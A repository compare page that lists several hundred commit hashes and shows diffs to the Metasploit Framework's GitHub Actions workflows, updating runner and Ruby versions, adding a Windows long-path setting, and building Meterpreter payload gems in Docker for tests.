Compare commits
663 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| c382de881b | |||
| 9961bfbc58 | |||
| 0ca2599f48 | |||
| a1093b093a | |||
| 557b2c70c6 | |||
| b228e3bf87 | |||
| a5edf5bbd1 | |||
| 7603b5d2d4 | |||
| 661ac23d72 | |||
| f3d644cd84 | |||
| 1ca57c86fc | |||
| e341398871 | |||
| 44bdc5b44f | |||
| 281b728000 | |||
| 992b01b394 | |||
| da00168057 | |||
| 196d95b2bf | |||
| edb47d968c | |||
| 233c710d82 | |||
| 787205e69b | |||
| c3ffdb12f5 | |||
| ef638ae104 | |||
| 37e92f76f3 | |||
| f6c8b98bd6 | |||
| 04842eaaee | |||
| 4422cb53eb | |||
| 4004c1f215 | |||
| 0116d0c04b | |||
| b43dc8be08 | |||
| 5e3953e53e | |||
| 7950d866f3 | |||
| dbce82416c | |||
| 95e8b31d4b | |||
| 03b90701cd | |||
| 03277a486f | |||
| c698979dd3 | |||
| c62f04109b | |||
| 8604c72ef4 | |||
| 8102bed3b7 | |||
| 1bea1baba0 | |||
| 58fbf9e924 | |||
| 7a1892e6e7 | |||
| fa4dd1d420 | |||
| bf5ae87a3d | |||
| 2422f8b67b | |||
| f2bcf34d51 | |||
| f12ddc7252 | |||
| f2e29a326e | |||
| 112b8f5ece | |||
| 8d3d8d8662 | |||
| d626886250 | |||
| 91f1db308d | |||
| 54465f30f2 | |||
| daf5e1cfeb | |||
| 8d7bbdd84f | |||
| 59b862ce35 | |||
| b1d0eedc26 | |||
| b0fec4ebd7 | |||
| 4d57710d92 | |||
| b94418a863 | |||
| eef2e4c26c | |||
| 60e9cae636 | |||
| b1b8ad376e | |||
| c9421a65cc | |||
| 3c4d0aae2f | |||
| 47351e4959 | |||
| 94fcda9eb6 | |||
| 65d2b6380b | |||
| 5cc5563625 | |||
| 77c3ce52e0 | |||
| 316ecd4d04 | |||
| ee89d10886 | |||
| 7a5ff2a360 | |||
| 57e3045b57 | |||
| 8ac44d55cd | |||
| b4ca537785 | |||
| b3602b2ade | |||
| df8b0de0c8 | |||
| 0017fbdf56 | |||
| acd692e139 | |||
| 810e7c4518 | |||
| d2dd9a6d8f | |||
| 62b8ded001 | |||
| 149c442d70 | |||
| 36b13f5be7 | |||
| 2fd05115c8 | |||
| aa5eda4876 | |||
| 11818c2812 | |||
| 689fb49b6e | |||
| c1a81ebf5a | |||
| 7e0b3af790 | |||
| 8c24e98fdd | |||
| b8429cb3e8 | |||
| 1d801225df | |||
| e159ea5300 | |||
| c9afd440f8 | |||
| 5bb99d120f | |||
| c49b49bdcd | |||
| 29cb4416ed | |||
| d9c2ed82fd | |||
| d37039c08f | |||
| b853168a89 | |||
| 40726d1859 | |||
| fcee4db5d0 | |||
| 0cbd4d1db2 | |||
| 8dd032e529 | |||
| 1c27e2a958 | |||
| b0cd258540 | |||
| f046e70b76 | |||
| 458d086fa6 | |||
| 576ff2fb5c | |||
| 3487b485e9 | |||
| b55a945669 | |||
| 33d0c0c9fd | |||
| 183d5823cc | |||
| e4ee651c9b | |||
| 79411eace8 | |||
| fae3d8390a | |||
| 2d55f5c16e | |||
| e883da86cc | |||
| f7342139b4 | |||
| 41e690445e | |||
| ece33ee8ec | |||
| 4d4b88c94e | |||
| b3a5da976b | |||
| 47a2079d19 | |||
| fc25e177fc | |||
| e7ed432159 | |||
| e9fc6e3b27 | |||
| 215957465c | |||
| 15c20272ea | |||
| fcc929e228 | |||
| f857e5fe67 | |||
| 38b3741a15 | |||
| 682be79920 | |||
| baac1fc9d0 | |||
| 2cdaf98c74 | |||
| 27120235d4 | |||
| 3613013938 | |||
| 42a7ff093d | |||
| c7d59ce829 | |||
| 0aad255e13 | |||
| c8aea65c7a | |||
| df8ad37dde | |||
| 0b0b9bb68a | |||
| 4374484147 | |||
| 8cbcdd1f6c | |||
| 87ec9ee137 | |||
| e689d85c92 | |||
| da06e5ad90 | |||
| b328d3f318 | |||
| cdac13550b | |||
| d626e56089 | |||
| 66d657f385 | |||
| 1bb9fc94ec | |||
| e9d4a9d918 | |||
| 8f00370370 | |||
| 0d87703dd8 | |||
| d0000af09a | |||
| bd42b23ef0 | |||
| f132b8ffe1 | |||
| 7cf02c5b14 | |||
| 6eaae79dc2 | |||
| 32db7ee6ae | |||
| 3ce313ac89 | |||
| a26572d318 | |||
| e60be7fcfb | |||
| 05c9550d43 | |||
| 65e2a20a5d | |||
| 2e9326897f | |||
| f16d31b7b1 | |||
| bb9013a8ee | |||
| 80922124c8 | |||
| 6f1287d899 | |||
| fbef2baf5c | |||
| c950264a85 | |||
| ed54130346 | |||
| 611556571f | |||
| 19c6cd899c | |||
| a66981f9e7 | |||
| 3f85d6d46d | |||
| 130895671f | |||
| 6ed60547a3 | |||
| eb1feba767 | |||
| b454a32f3c | |||
| dddcdccbef | |||
| e284ea5dc7 | |||
| 0945fbba81 | |||
| b647aec3cb | |||
| 00d4feb2b5 | |||
| 2d858ac1f0 | |||
| f44620939f | |||
| 80b76e4f5f | |||
| 48c4ce56e4 | |||
| c9dc97c242 | |||
| c979d8d477 | |||
| 5a9df32e14 | |||
| 46e97e3776 | |||
| 9fc8b3b0dc | |||
| 90daccd948 | |||
| d9cb3651f4 | |||
| d93a99c504 | |||
| 9dac85e3c9 | |||
| 7b4678564a | |||
| 3465b57e48 | |||
| b7dd63f0a9 | |||
| c098665a2e | |||
| 6424a4a387 | |||
| 4bb8c30180 | |||
| 66f49c25bd | |||
| 4e5a21bfab | |||
| 18f0bbeaf0 | |||
| 37276446a6 | |||
| c9be9b65ec | |||
| d22ed19b02 | |||
| 4876320814 | |||
| a5d7dfb139 | |||
| 10a3b267b8 | |||
| a9ab6668a4 | |||
| 31b8fad08f | |||
| 0fefe063ad | |||
| d031df5b6b | |||
| 517bf5481d | |||
| 984f0dbb15 | |||
| 13df710797 | |||
| 2db7f4f186 | |||
| edbdb985e3 | |||
| 9396e1c91b | |||
| d96d980a24 | |||
| 9f43fcc7ad | |||
| 8d59201447 | |||
| 7149d3f332 | |||
| 92a73b1fed | |||
| 127adda3df | |||
| b02838a8dd | |||
| 8e9c144e2c | |||
| 881ae72550 | |||
| 4f584bd5a4 | |||
| 00f4f80530 | |||
| 85875d8338 | |||
| 41a0e089ea | |||
| 300e99db01 | |||
| ad8c1c3f43 | |||
| dfb1ed6d30 | |||
| 94c1167515 | |||
| ed648e9eca | |||
| cddfb499b7 | |||
| 6861b1fb67 | |||
| 6d073540e8 | |||
| 6da074e164 | |||
| 7112fb27e6 | |||
| 853b42cfaf | |||
| 50c95af7e0 | |||
| 05a2e9dc9f | |||
| deef85deb6 | |||
| 7f5f459c86 | |||
| 476ad5bb94 | |||
| e3bb4791e1 | |||
| 0d558a1f71 | |||
| b678126361 | |||
| e6fb4f876e | |||
| 7e8c35257e | |||
| f22295b10f | |||
| a2044acc42 | |||
| b98fb7553d | |||
| 20d2a6c7a7 | |||
| 6ab32cde32 | |||
| 3f8db70d45 | |||
| 0caaa5d655 | |||
| 90ad8b66d8 | |||
| 652fbf1a62 | |||
| 4aedaaa222 | |||
| ba8d5b7f5a | |||
| 46d2d4c63d | |||
| 834e499b2a | |||
| 09db1f4e72 | |||
| f06a2d47f8 | |||
| 88ba2de1be | |||
| f3eefc0d7e | |||
| ec9edc5d6c | |||
| 373ea48838 | |||
| 6f945ca1ce | |||
| 917196b8a1 | |||
| 7259548cb9 | |||
| 0013db1822 | |||
| f8dfaae599 | |||
| c6d03069a9 | |||
| d887ab5fac | |||
| 2003ed7fd0 | |||
| 528409ba87 | |||
| 3170849147 | |||
| 6f2ff5110e | |||
| 7adff997d2 | |||
| cf9e80aa1e | |||
| 48921cadb6 | |||
| 22818f07fa | |||
| 1d3bbcb573 | |||
| cf5f518590 | |||
| 61a0981013 | |||
| 37bfe9368b | |||
| d67dcda2c6 | |||
| 64be670dfa | |||
| 5c2056b2e1 | |||
| 441b671edd | |||
| 210b780f83 | |||
| e072468042 | |||
| 7b03844312 | |||
| 1aa4a1f8c8 | |||
| f0f1aa9eb3 | |||
| 3fb94b46c4 | |||
| 7d1c008377 | |||
| aa78924f67 | |||
| 21b3315229 | |||
| 7ebd4f34ef | |||
| 1885b650ba | |||
| 157763b2af | |||
| 6232463701 | |||
| 8e68d1d5f2 | |||
| 9d50fb66bc | |||
| 1b50e60a26 | |||
| 936e0dfb75 | |||
| fcee7a5972 | |||
| b3c2ae4f51 | |||
| 589b9067e6 | |||
| fbe9edfa0c | |||
| ddf07a3d60 | |||
| f6e49e43c7 | |||
| 4a8ad46249 | |||
| 93d16732f2 | |||
| bd45ae36a8 | |||
| 47fe31754e | |||
| 4c0f407b39 | |||
| 105559e771 | |||
| de6b14e506 | |||
| 25bd5d736c | |||
| 45e6daea7d | |||
| b8f82e0fe4 | |||
| e01f33f7a5 | |||
| d8e9093e64 | |||
| 378ac00c7d | |||
| ed64b57b6f | |||
| 34f3957aea | |||
| 1939257618 | |||
| 92ebabf168 | |||
| 3131b6b02d | |||
| 4767f5e457 | |||
| af12460274 | |||
| a6ec468063 | |||
| cfaaa16d91 | |||
| e1ffe82145 | |||
| c768ec8c83 | |||
| 0e72da606c | |||
| 159b2bb6dc | |||
| 393b2167cd | |||
| 39351486e9 | |||
| b0d5cf1f6a | |||
| 22523badab | |||
| 54bd55b186 | |||
| c93609eaa7 | |||
| fc005f5624 | |||
| ae5f0e8689 | |||
| 70146e52d9 | |||
| ca304ae5c4 | |||
| 763ff9275e | |||
| 61b10a44a3 | |||
| 8978486895 | |||
| 4f4a0f9cd5 | |||
| 9540837b37 | |||
| f9204fe691 | |||
| 23a9695ea5 | |||
| 897f8c890a | |||
| 79ac873dfa | |||
| 7eee3f0be8 | |||
| f7554d2467 | |||
| b5a116f85e | |||
| 99bfc21d5f | |||
| 5087e460b0 | |||
| 8b127d3afa | |||
| 1d748d73a1 | |||
| bc425a0df8 | |||
| 5fa61b6df9 | |||
| 99e95dd760 | |||
| 4e53c967c2 | |||
| 1e7c86c947 | |||
| 9c98804d58 | |||
| 6a4844bf0d | |||
| 9bd8590b99 | |||
| 2254a1f213 | |||
| e425bba900 | |||
| 8344c2c624 | |||
| 0630187870 | |||
| 01ea602675 | |||
| 3298880c21 | |||
| de0cde7634 | |||
| 12a2cdf3bf | |||
| d21be52b71 | |||
| 0bdee81bcc | |||
| 4c478a5b23 | |||
| e39af38c73 | |||
| 4565a04510 | |||
| 42abf6be5b | |||
| 278dd00845 | |||
| c494ad4f80 | |||
| 10be7a80cf | |||
| 2de30c3a0f | |||
| 0e1a22aa3b | |||
| 93bb7fa6c5 | |||
| db3699a516 | |||
| 18be9fc101 | |||
| d52593f231 | |||
| 928634b9fe | |||
| 37dff525a5 | |||
| b7d922f471 | |||
| 982401e803 | |||
| edf4fca476 | |||
| d84eb3212f | |||
| 58c359293d | |||
| ce9f1b9101 | |||
| 3513c6c4db | |||
| 45fb4a7b67 | |||
| 5374c7b362 | |||
| 351db34940 | |||
| a6ba7bf9c2 | |||
| e024c115f3 | |||
| 1aba53274f | |||
| 1a839c0b33 | |||
| 437c9fc99e | |||
| 23db148aa9 | |||
| 6d173c63a7 | |||
| 2c86d7661a | |||
| ed292a971f | |||
| 5cfaf4871d | |||
| 4d42c7878e | |||
| e340e3ea6c | |||
| 98f9045e54 | |||
| 43792457e5 | |||
| 412a1ba222 | |||
| 6ac1d1e7bb | |||
| b2e28efa48 | |||
| eb71ce1057 | |||
| fea171357a | |||
| 3fc85e103e | |||
| f0d747ce6f | |||
| 296d3c92fc | |||
| e62010c592 | |||
| aa8cf01aef | |||
| 0ff2835bb7 | |||
| 0c723b858f | |||
| d560a3202e | |||
| 2632da7334 | |||
| f475b9d4d6 | |||
| e5e06572fb | |||
| dac7c3965e | |||
| c7c7338ff6 | |||
| 7ead96a740 | |||
| 0f71c896e5 | |||
| 9a6d074463 | |||
| 43af3dbe3e | |||
| 817557c589 | |||
| 08c84924f0 | |||
| 7f5cf5edac | |||
| 2be1781aa7 | |||
| 2c96ecff6a | |||
| 98b5eabd48 | |||
| 289e95d530 | |||
| e801720c92 | |||
| bca9a5fe61 | |||
| 0df004cee7 | |||
| d788a3baf7 | |||
| 474f5426b5 | |||
| aa74e0c97e | |||
| 3ff685b70e | |||
| 7fd59b9683 | |||
| fe7334fae2 | |||
| 11c1b726cf | |||
| 43294df0dd | |||
| 710ae1198a | |||
| e2bf2162dc | |||
| 6cbb30c91a | |||
| bf643041c3 | |||
| 3a28df6b32 | |||
| 6d206f80f1 | |||
| 05bd95c23f | |||
| 9b75fc50ec | |||
| 1462875819 | |||
| 967c9b36e2 | |||
| d0a4d57883 | |||
| ec8dba87fb | |||
| 3b947cf1c5 | |||
| 45a36605f2 | |||
| 63e4df36b3 | |||
| 6b805bfdd6 | |||
| bb138e49d6 | |||
| 9d664a36f0 | |||
| a422d065c0 | |||
| 22c16975b6 | |||
| 9ae5027f3a | |||
| 4ab9664cc6 | |||
| e70b6c777f | |||
| ea00aa6579 | |||
| f436f44d83 | |||
| 38d8d35dc5 | |||
| bbc282e90c | |||
| 6e0c945a42 | |||
| 78c37a4c05 | |||
| cf7d2584ba | |||
| 87494a0958 | |||
| 03ddb8990e | |||
| df0aa98e8b | |||
| 862f2ee6c6 | |||
| 8a1dd2b1ff | |||
| 0d823fc9a2 | |||
| 68ae0d40ea | |||
| e4111cdc97 | |||
| 86bd1c2938 | |||
| af432a3b72 | |||
| 94507655ae | |||
| cb34508321 | |||
| 02ad81066d | |||
| c7d7407179 | |||
| 90d9bb769d | |||
| 43230b02a5 | |||
| 6577a18abb | |||
| 9f20c575e5 | |||
| 7ecc1cb87b | |||
| 9bfccc4293 | |||
| 6c5952d3b6 | |||
| 340d4bcd58 | |||
| e3d68d4164 | |||
| 677e8ec9dd | |||
| 7ca7d71ab4 | |||
| d3b4c5becb | |||
| 814cdb354f | |||
| 38e886f4b6 | |||
| e17d7cd161 | |||
| 64b1832567 | |||
| 390f551df7 | |||
| 3defb63763 | |||
| 82ebdf1f9d | |||
| acbcd9f3b1 | |||
| 06af9b0b3d | |||
| 293598d924 | |||
| d86136c8ef | |||
| cdadf68a98 | |||
| 58c979dc08 | |||
| a133b58665 | |||
| a65135e68b | |||
| 66f6cac472 | |||
| 789f7cfcd1 | |||
| 7c8116a2cb | |||
| 2e3661a07b | |||
| 262e4b8c13 | |||
| cf5b26dd61 | |||
| 6eb2f6170c | |||
| a27024eb1f | |||
| ead6af8cbc | |||
| aca6613a3e | |||
| 41460077a4 | |||
| a68b9dc8cd | |||
| cfb7207a85 | |||
| 30e13c9040 | |||
| 647972b7c8 | |||
| 40de61f447 | |||
| 4d304c65b5 | |||
| 78f74a7099 | |||
| ee4f01f0a4 | |||
| b7bb75046d | |||
| 51bbc76c79 | |||
| a365d17055 | |||
| 4eb01d7395 | |||
| 851beb77b0 | |||
| e0f79d806d | |||
| d0cb6c1e2d | |||
| a6dc0bf8a7 | |||
| c77ccb1203 | |||
| 78984e467f | |||
| c8100375d9 | |||
| 227143efa1 | |||
| 753447c7f7 | |||
| 0d632777fc | |||
| 56152fd359 | |||
| 03f399ee9a | |||
| 60fd582fb2 | |||
| 04c9106303 | |||
| 8ea779af56 | |||
| 72c7f4ace2 | |||
| e2a248e9df | |||
| 048038f44a | |||
| f4dc4a8220 | |||
| 2fe0b35384 | |||
| 2abde4c923 | |||
| cdc51228c1 | |||
| 747013615f | |||
| 25cb21908a | |||
| edf8d186f7 | |||
| c25b3ceb03 | |||
| 51908d6621 | |||
| 65bb3cc990 | |||
| 3ed2b5916a | |||
| 5005d73a3e | |||
| 60f26f7062 | |||
| 31dc885419 | |||
| b2ab69ea51 | |||
| c6e3df85bb | |||
| 7badd24b72 | |||
| 4c7d1d8079 | |||
| ad44afee01 | |||
| a11616d189 | |||
| 556e52d1d2 | |||
| 335825a020 | |||
| c2495aff58 | |||
| 0a45480c49 | |||
| 6054d7c5ce | |||
| d52874ac46 | |||
| 6ec6909850 | |||
| a8a782eb2e | |||
| fd3f313c64 | |||
| 03a4acf7d0 | |||
| 76c29831fa | |||
| 2d7985b511 | |||
| 5dd55f0af4 | |||
| 09ceb48705 | |||
| af462f7dcf | |||
| 40f2eaaab1 | |||
| df6bd846e5 | |||
| 54bec338c3 | |||
| 77d0292be3 | |||
| 80d15ae86d | |||
| 7cf942ca30 | |||
| 6911e52d55 | |||
| 6723c585f2 | |||
| 9ccc0a3070 | |||
| cde660065c | |||
| 61705db8be | |||
| e41f5ad577 | |||
| b9c8c63501 | |||
| d778f5469b | |||
| 19394960cd | |||
| d4bd00d48e | |||
| 7fd82b89df | |||
| 7025871d34 | |||
| 94e5e49052 | |||
| de599a4407 | |||
| eda46f1a10 | |||
| 41bcf4629f | |||
| d2f6e0e10f | |||
| f9b099a46d | |||
| d40bbd047e | |||
| b8f36628da | |||
| 077f8700b9 | |||
| 2469d4ea23 | |||
| 37c148cc7c | |||
| 39243fc52f | |||
| 1348275ff7 | |||
| c9e0668473 | |||
| 3a90648c7a | |||
| a74e1678d9 | |||
| 8f2f0c7b37 | |||
| f0abc0da69 | |||
| 1e6bfb2af8 | |||
| be90a4e3fd | |||
| ae8e996c46 | |||
| 9436e0011f |
@@ -64,16 +64,16 @@ jobs:
|
||||
matrix:
|
||||
os:
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
ruby:
|
||||
- 3.1.5
|
||||
- '3.2'
|
||||
include:
|
||||
# Powershell
|
||||
- { command_shell: { name: powershell }, os: windows-2019 }
|
||||
- { command_shell: { name: powershell }, os: windows-2022 }
|
||||
|
||||
# Linux
|
||||
- { command_shell: { name: linux }, os: ubuntu-20.04 }
|
||||
- { command_shell: { name: linux }, os: ubuntu-latest }
|
||||
|
||||
# CMD
|
||||
- { command_shell: { name: cmd }, os: windows-2019 }
|
||||
@@ -126,6 +126,11 @@ jobs:
|
||||
with:
|
||||
path: metasploit-framework
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
@@ -175,6 +180,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -45,6 +45,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
|
||||
@@ -72,6 +72,11 @@ jobs:
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -121,6 +126,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -38,7 +38,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
|
||||
@@ -82,6 +82,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -138,6 +143,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -80,6 +80,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -137,6 +142,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -82,6 +82,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -139,6 +144,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -30,11 +30,11 @@ on:
|
||||
type: boolean
|
||||
|
||||
jobs:
|
||||
# Compile Java Meterpreter via docker if required, we can't always do this on the
|
||||
# Compile the Meterpreter payloads via docker if required, we can't always do this on the
|
||||
# host environment (i.e. for macos). So it instead gets compiled first on a linux
|
||||
# host, then the artifacts are copied back to the host later
|
||||
java_meterpreter_compilation:
|
||||
name: Compile Java Meterpreter
|
||||
meterpreter_compilation:
|
||||
name: Compile Meterpreter
|
||||
runs-on: ubuntu-latest
|
||||
if: ${{ inputs.build_metasploit_payloads }}
|
||||
|
||||
@@ -46,21 +46,22 @@ jobs:
|
||||
path: metasploit-payloads
|
||||
ref: ${{ inputs.metasploit_payloads_commit }}
|
||||
|
||||
- name: Build Java and Android payloads
|
||||
- name: Build Meterpreter payloads
|
||||
run: |
|
||||
mkdir $(pwd)/java-artifacts
|
||||
docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package"
|
||||
mkdir $(pwd)/meterpreter-artifacts
|
||||
docker run --rm -w $(pwd) -v $(pwd):$(pwd) rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "cd metasploit-payloads/gem && rake create_dir && rake win_copy && rake php_prep && rake java_prep && rake python_prep && rake create_manifest && rake build"
|
||||
cp $(pwd)/metasploit-payloads/gem/pkg/metasploit-payloads-* $(pwd)/meterpreter-artifacts
|
||||
|
||||
- name: Store Java artifacts
|
||||
- name: Store Meterpreter artifacts
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: java-artifacts
|
||||
path: java-artifacts
|
||||
name: meterpreter-artifacts
|
||||
path: meterpreter-artifacts
|
||||
|
||||
# Run all test individually, note there is a separate final job for aggregating the test results
|
||||
test:
|
||||
needs: java_meterpreter_compilation
|
||||
if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped')
|
||||
needs: meterpreter_compilation
|
||||
if: always() && (needs.meterpreter_compilation.result == 'success' || needs.meterpreter_compilation.result == 'skipped')
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
@@ -68,12 +69,12 @@ jobs:
|
||||
os:
|
||||
- macos-13
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
ruby:
|
||||
- 3.1.5
|
||||
- '3.2'
|
||||
meterpreter:
|
||||
# Python
|
||||
- { name: python, runtime_version: 3.6 }
|
||||
- { name: python, runtime_version: 3.8 }
|
||||
- { name: python, runtime_version: 3.11 }
|
||||
|
||||
# Java
|
||||
@@ -91,7 +92,7 @@ jobs:
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-13 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-latest }
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
@@ -189,6 +190,11 @@ jobs:
|
||||
path: metasploit-framework
|
||||
ref: ${{ inputs.metasploit_framework_commit }}
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
@@ -208,28 +214,28 @@ jobs:
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
name: Download Java meterpreter
|
||||
id: download_java_meterpreter
|
||||
if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }}
|
||||
name: Download Meterpreter
|
||||
id: download_meterpreter
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && inputs.build_metasploit_payloads }}
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: Extract Java Meterpreter (Unix)
|
||||
if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
|
||||
- name: Extract Meterpreter (Unix)
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -x
|
||||
download_path=${{steps.download_java_meterpreter.outputs.download-path}}
|
||||
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
|
||||
download_path=${{steps.download_meterpreter.outputs.download-path}}
|
||||
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
|
||||
|
||||
- name: Extract Java Meterpreter (Windows)
|
||||
if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
|
||||
- name: Extract Meterpreter (Windows)
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -x
|
||||
download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}')
|
||||
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
|
||||
download_path=$(cygpath -u '${{steps.download_meterpreter.outputs.download-path}}')
|
||||
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
|
||||
|
||||
- name: Install mettle gem
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
|
||||
@@ -250,32 +256,6 @@ jobs:
|
||||
path: metasploit-payloads
|
||||
ref: ${{ inputs.metasploit_payloads_commit }}
|
||||
|
||||
- name: Get metasploit-payloads version
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: gem build ./gem/metasploit-payloads.gemspec
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Copy metasploit-payloads gem into metasploit-framework
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem .
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
